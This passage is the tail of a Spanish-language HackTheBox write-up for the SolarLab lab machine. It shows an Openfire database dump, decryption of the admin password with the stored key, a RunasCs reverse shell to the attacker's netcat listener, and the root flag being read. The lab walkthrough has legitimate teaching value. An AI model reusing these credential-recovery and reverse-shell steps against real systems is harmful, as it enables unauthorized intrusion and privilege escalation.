PUBLIC.OFSECURITYAUDITLOG(USERNAME) CREATE MEMORY TABLE PUBLIC.OFMUCSERVICE(SERVICEID BIGINT NOT NULL,SUBDOMAIN VARCHAR(255) NOT NULL,DESCRIPTION VARCHAR(255),ISHIDDEN INTEGER NOT NULL,CONSTRAINT OFMUCSERVICE_PK PRIMARY KEY(SUBDOMAIN)) CREATE INDEX OFMUCSERVICE_SERVICEID_IDX ON PUBLIC.OFMUCSERVICE(SERVICEID) CREATE MEMORY TABLE PUBLIC.OFMUCSERVICEPROP(SERVICEID BIGINT NOT NULL,NAME VARCHAR(100) NOT NULL,PROPVALUE VARCHAR(4000) NOT NULL,CONSTRAINT OFMUCSERVICEPROP_PK PRIMARY KEY(SERVICEID,NAME)) CREATE MEMORY TABLE PUBLIC.OFMUCROOM(SERVICEID BIGINT NOT NULL,ROOMID BIGINT NOT NULL,CREATIONDATE CHARACTER(15) NOT NULL,MODIFICATIONDATE CHARACTER(15) NOT NULL,NAME VARCHAR(50) NOT NULL,NATURALNAME VARCHAR(255) NOT NULL,DESCRIPTION VARCHAR(255),LOCKEDDATE CHARACTER(15) NOT NULL,EMPTYDATE CHARACTER(15),CANCHANGESUBJECT INTEGER NOT NULL,MAXUSERS INTEGER NOT NULL,PUBLICROOM INTEGER NOT NULL,MODERATED INTEGER NOT NULL,MEMBERSONLY INTEGER NOT NULL,CANINVITE INTEGER NOT NULL,ROOMPASSWORD VARCHAR(50),CANDISCOVERJID INTEGER NOT NULL,LOGENABLED INTEGER NOT NULL,SUBJECT VARCHAR(100),ROLESTOBROADCAST INTEGER NOT NULL,USERESERVEDNICK INTEGER NOT NULL,CANCHANGENICK INTEGER NOT NULL,CANREGISTER INTEGER NOT NULL,ALLOWPM INTEGER,FMUCENABLED INTEGER,FMUCOUTBOUNDNODE VARCHAR(255),FMUCOUTBOUNDMODE INTEGER,FMUCINBOUNDNODES VARCHAR(4000),CONSTRAINT OFMUCROOM_PK PRIMARY KEY(SERVICEID,NAME)) CREATE INDEX OFMUCROOM_ROOMID_IDX ON PUBLIC.OFMUCROOM(ROOMID) CREATE INDEX OFMUCROOM_SERVICEID_IDX ON PUBLIC.OFMUCROOM(SERVICEID) CREATE MEMORY TABLE PUBLIC.OFMUCROOMPROP(ROOMID BIGINT NOT NULL,NAME VARCHAR(100) NOT NULL,PROPVALUE VARCHAR(4000) NOT NULL,CONSTRAINT OFMUCROOMPROP_PK PRIMARY KEY(ROOMID,NAME)) CREATE MEMORY TABLE PUBLIC.OFMUCAFFILIATION(ROOMID BIGINT NOT NULL,JID VARCHAR(1024) NOT NULL,AFFILIATION INTEGER NOT NULL,CONSTRAINT OFMUCAFFILIATION_PK PRIMARY KEY(ROOMID,JID)) CREATE MEMORY TABLE PUBLIC.OFMUCMEMBER(ROOMID BIGINT NOT NULL,JID VARCHAR(1024) NOT NULL,NICKNAME VARCHAR(255),FIRSTNAME VARCHAR(100),LASTNAME VARCHAR(100),URL VARCHAR(100),EMAIL VARCHAR(100),FAQENTRY VARCHAR(100),CONSTRAINT OFMUCMEMBER_PK PRIMARY KEY(ROOMID,JID)) CREATE MEMORY TABLE PUBLIC.OFMUCCONVERSATIONLOG(ROOMID BIGINT NOT NULL,MESSAGEID BIGINT NOT NULL,SENDER VARCHAR(1024) NOT NULL,NICKNAME VARCHAR(255),LOGTIME CHARACTER(15) NOT NULL,SUBJECT VARCHAR(255),BODY VARCHAR(16777216),STANZA VARCHAR(16777216)) CREATE INDEX OFMUCCONVERSATIONLOG_ROOMTIME_IDX ON PUBLIC.OFMUCCONVERSATIONLOG(ROOMID,LOGTIME) CREATE INDEX OFMUCCONVERSATIONLOG_TIME_IDX ON PUBLIC.OFMUCCONVERSATIONLOG(LOGTIME) CREATE INDEX OFMUCCONVERSATIONLOG_MSG_ID ON PUBLIC.OFMUCCONVERSATIONLOG(MESSAGEID) CREATE MEMORY TABLE PUBLIC.OFPUBSUBNODE(SERVICEID VARCHAR(100) NOT NULL,NODEID VARCHAR(100) NOT NULL,LEAF INTEGER NOT NULL,CREATIONDATE CHARACTER(15) NOT NULL,MODIFICATIONDATE CHARACTER(15) NOT NULL,PARENT VARCHAR(100),DELIVERPAYLOADS INTEGER NOT NULL,MAXPAYLOADSIZE INTEGER,PERSISTITEMS INTEGER,MAXITEMS INTEGER,NOTIFYCONFIGCHANGES INTEGER NOT NULL,NOTIFYDELETE INTEGER NOT NULL,NOTIFYRETRACT INTEGER NOT NULL,PRESENCEBASED INTEGER NOT NULL,SENDITEMSUBSCRIBE INTEGER NOT NULL,PUBLISHERMODEL VARCHAR(15) NOT NULL,SUBSCRIPTIONENABLED INTEGER NOT NULL,CONFIGSUBSCRIPTION INTEGER NOT NULL,ACCESSMODEL VARCHAR(10) NOT NULL,PAYLOADTYPE VARCHAR(100),BODYXSLT VARCHAR(100),DATAFORMXSLT VARCHAR(100),CREATOR VARCHAR(1024) NOT NULL,DESCRIPTION VARCHAR(255),LANGUAGE VARCHAR(255),NAME VARCHAR(50),REPLYPOLICY VARCHAR(15),ASSOCIATIONPOLICY VARCHAR(15),MAXLEAFNODES INTEGER,CONSTRAINT OFPUBSUBNODE_PK PRIMARY KEY(SERVICEID,NODEID)) CREATE MEMORY TABLE PUBLIC.OFPUBSUBNODEJIDS(SERVICEID VARCHAR(100) NOT NULL,NODEID VARCHAR(100) NOT NULL,JID VARCHAR(1024) NOT NULL,ASSOCIATIONTYPE VARCHAR(20) NOT NULL,CONSTRAINT OFPUBSUBNODEJIDS_PK PRIMARY KEY(SERVICEID,NODEID,JID)) CREATE MEMORY TABLE PUBLIC.OFPUBSUBNODEGROUPS(SERVICEID VARCHAR(100) NOT NULL,NODEID VARCHAR(100) NOT NULL,ROSTERGROUP VARCHAR(100) NOT NULL) CREATE INDEX OFPUBSUBNODEGROUPS_IDX ON PUBLIC.OFPUBSUBNODEGROUPS(SERVICEID,NODEID) CREATE MEMORY TABLE PUBLIC.OFPUBSUBAFFILIATION(SERVICEID VARCHAR(100) NOT NULL,NODEID VARCHAR(100) NOT NULL,JID VARCHAR(1024) NOT NULL,AFFILIATION VARCHAR(10) NOT NULL,CONSTRAINT OFPUBSUBAFFILIATION_PK PRIMARY KEY(SERVICEID,NODEID,JID)) CREATE MEMORY TABLE PUBLIC.OFPUBSUBITEM(SERVICEID VARCHAR(100) NOT NULL,NODEID VARCHAR(100) NOT NULL,ID VARCHAR(100) NOT NULL,JID VARCHAR(1024) NOT NULL,CREATIONDATE CHARACTER(15) NOT NULL,PAYLOAD CLOB(1G),CONSTRAINT OFPUBSUBITEM_PK PRIMARY KEY(SERVICEID,NODEID,ID)) CREATE MEMORY TABLE PUBLIC.OFPUBSUBSUBSCRIPTION(SERVICEID VARCHAR(100) NOT NULL,NODEID VARCHAR(100) NOT NULL,ID VARCHAR(100) NOT NULL,JID VARCHAR(1024) NOT NULL,OWNER VARCHAR(1024) NOT NULL,STATE VARCHAR(15) NOT NULL,DELIVER INTEGER NOT NULL,DIGEST INTEGER NOT NULL,DIGEST_FREQUENCY INTEGER NOT NULL,EXPIRE CHARACTER(15),INCLUDEBODY INTEGER NOT NULL,SHOWVALUES VARCHAR(30) NOT NULL,SUBSCRIPTIONTYPE VARCHAR(10) NOT NULL,SUBSCRIPTIONDEPTH INTEGER NOT NULL,KEYWORD VARCHAR(200),CONSTRAINT OFPUBSUBSUBSCRIPTION_PK PRIMARY KEY(SERVICEID,NODEID,ID)) CREATE MEMORY TABLE PUBLIC.OFPUBSUBDEFAULTCONF(SERVICEID VARCHAR(100) NOT NULL,LEAF INTEGER NOT NULL,DELIVERPAYLOADS INTEGER NOT NULL,MAXPAYLOADSIZE INTEGER NOT NULL,PERSISTITEMS INTEGER NOT NULL,MAXITEMS INTEGER NOT NULL,NOTIFYCONFIGCHANGES INTEGER NOT NULL,NOTIFYDELETE INTEGER NOT NULL,NOTIFYRETRACT INTEGER NOT NULL,PRESENCEBASED INTEGER NOT NULL,SENDITEMSUBSCRIBE INTEGER NOT NULL,PUBLISHERMODEL VARCHAR(15) NOT NULL,SUBSCRIPTIONENABLED INTEGER NOT NULL,ACCESSMODEL VARCHAR(10) NOT NULL,LANGUAGE VARCHAR(255),REPLYPOLICY VARCHAR(15),ASSOCIATIONPOLICY VARCHAR(15) NOT NULL,MAXLEAFNODES INTEGER NOT NULL,CONSTRAINT OFPUBSUBDEFAULTCONF_PK PRIMARY KEY(SERVICEID,LEAF)) ALTER SEQUENCE SYSTEM_LOBS.LOB_ID RESTART WITH 1 SET DATABASE DEFAULT INITIAL SCHEMA PUBLIC GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.SQL_IDENTIFIER TO PUBLIC GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.YES_OR_NO TO PUBLIC GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.TIME_STAMP TO PUBLIC GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CARDINAL_NUMBER TO PUBLIC GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CHARACTER_DATA TO PUBLIC GRANT DBA TO SA SET SCHEMA SYSTEM_LOBS INSERT INTO BLOCKS VALUES(0,2147483647,0) SET SCHEMA PUBLIC INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0') INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25') INSERT INTO OFOFFLINE VALUES('admin',1,'001700223778861',127,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Openfire 4.7.5</body></message>') INSERT INTO OFOFFLINE VALUES('admin',2,'001700223779069',125,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Search 1.7.4</body></message>') INSERT INTO OFOFFLINE VALUES('admin',6,'001714131992714',127,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Openfire 4.8.1</body></message>') INSERT INTO OFOFFLINE VALUES('admin',7,'001714131993136',125,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Search 1.7.4</body></message>') INSERT INTO OFOFFLINE VALUES('admin',11,'001715023572659',127,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Openfire 4.8.1</body></message>') INSERT INTO OFOFFLINE VALUES('admin',12,'001715023572956',125,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Search 1.7.4</body></message>') INSERT INTO OFID VALUES(18,1) INSERT INTO OFID VALUES(19,16) INSERT INTO OFID VALUES(23,1) INSERT INTO OFID VALUES(25,3) INSERT INTO OFID VALUES(26,2) INSERT INTO OFID VALUES(27,1) INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''RoomStatistics.maxLifetime','-1',0,NULL) INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''RoomStatistics.size','-1',0,NULL) INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.maxLifetime','-1',0,NULL) INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL) INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL) INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL) INSERT INTO OFPROPERTY VALUES('provider.auth.className','org.jivesoftware.openfire.auth.DefaultAuthProvider',0,NULL) INSERT INTO OFPROPERTY VALUES('provider.group.className','org.jivesoftware.openfire.group.DefaultGroupProvider',0,NULL) INSERT INTO OFPROPERTY VALUES('provider.lockout.className','org.jivesoftware.openfire.lockout.DefaultLockOutProvider',0,NULL) INSERT INTO OFPROPERTY VALUES('provider.securityAudit.className','org.jivesoftware.openfire.security.DefaultSecurityAuditProvider',0,NULL) INSERT INTO OFPROPERTY VALUES('provider.user.className','org.jivesoftware.openfire.user.DefaultUserProvider',0,NULL) INSERT INTO OFPROPERTY VALUES('provider.vcard.className','org.jivesoftware.openfire.vcard.DefaultVCardProvider',0,NULL) INSERT INTO OFPROPERTY VALUES('update.lastCheck','1715023572956',0,NULL) INSERT INTO OFPROPERTY VALUES('xmpp.auth.anonymous','false',0,NULL) INSERT INTO OFPROPERTY VALUES('xmpp.domain','solarlab.htb',0,NULL) INSERT INTO OFPROPERTY VALUES('xmpp.proxy.enabled','false',0,NULL) INSERT INTO OFPROPERTY VALUES('xmpp.socket.ssl.active','true',0,NULL) INSERT INTO OFVERSION VALUES('openfire',34) INSERT INTO OFSECURITYAUDITLOG VALUES(1,'admin',1700223751042,'Successful admin console login attempt','solarlab.htb','The user logged in successfully to the admin console from address 127.0.0.1. ') INSERT INTO OFSECURITYAUDITLOG VALUES(2,'admin',1700223756534,'edited file transfer proxy settings','solarlab.htb','port = 7777\u000ahardcodedAddress = null\u000aenabled = false') INSERT INTO OFMUCSERVICE VALUES(1,'conference',NULL,0) INSERT INTO OFPUBSUBNODE VALUES('pubsub','',0,'001700223743445','001700223743445',NULL,0,0,0,0,1,1,1,0,0,'publishers',1,0,'open','','','','solarlab.htb','','English','',NULL,'all',-1) INSERT INTO OFPUBSUBAFFILIATION VALUES('pubsub','','solarlab.htb','owner') INSERT INTO OFPUBSUBDEFAULTCONF VALUES('pubsub',0,0,0,0,0,1,1,1,0,0,'publishers',1,'open','English',NULL,'all',-1) INSERT INTO OFPUBSUBDEFAULTCONF VALUES('pubsub',1,1,10485760,0,1,1,1,1,0,1,'publishers',1,'open','English',NULL,'all',-1) |
donde encontramos la query para la creación del usuario admin y una password
|
1 2 3 |
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0') INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL) |
utilizaremos en este caso la tool openfire_decrypt para descifrar la misma
|
1 2 3 |
$ /usr/bin/java OpenFireDecryptPass.java becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040) |
y ejecutaremos runas para obtener la shell como admin
|
1 2 3 4 5 |
PS C:\users\public> .\RunasCs.exe administrator 'ThisPasswordShouldDo!@' cmd.exe -r 10.10.14.11:4446 [+] Running in session 0 with process function CreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-263c8$\Default [+] Async process 'C:\Windows\system32\cmd.exe' with pid 4460 created in background. |
y ya somos admin
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4446 listening on [any] 4446 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.11.16] 59659 Microsoft Windows [Version 10.0.19045.4355] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami solarlab\administrator |
Obteniendo la flag de root
Como paso final nos vamos al escritorio del usuario y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
C:\Windows\system32>cd c:\users\ cd c:\users\ c:\Users>dir dir Volume in drive C has no label. Volume Serial Number is 385E-AC57 Directory of c:\Users 11/17/2023 11:02 AM <DIR> . 11/17/2023 11:02 AM <DIR> .. 11/17/2023 11:03 AM <DIR> Administrator 11/16/2023 10:43 PM <DIR> blake 11/17/2023 03:13 PM <DIR> openfire 05/16/2024 12:07 PM <DIR> Public 0 File(s) 0 bytes 6 Dir(s) 7,711,670,272 bytes free c:\Users>cd administrator\desktop cd administrator\desktop d c:\Users\Administrator\Desktop>ir dir Volume in drive C has no label. Volume Serial Number is 385E-AC57 Directory of c:\Users\Administrator\Desktop 05/03/2024 02:32 PM <DIR> . 05/03/2024 02:32 PM <DIR> .. 05/15/2024 11:40 PM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 7,711,670,272 bytes free c:\Users\Administrator\Desktop>type root.txt type root.txt 570f6947bde6ad6cc2f7a3adc1f3d04e c:\Users\Administrator\Desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
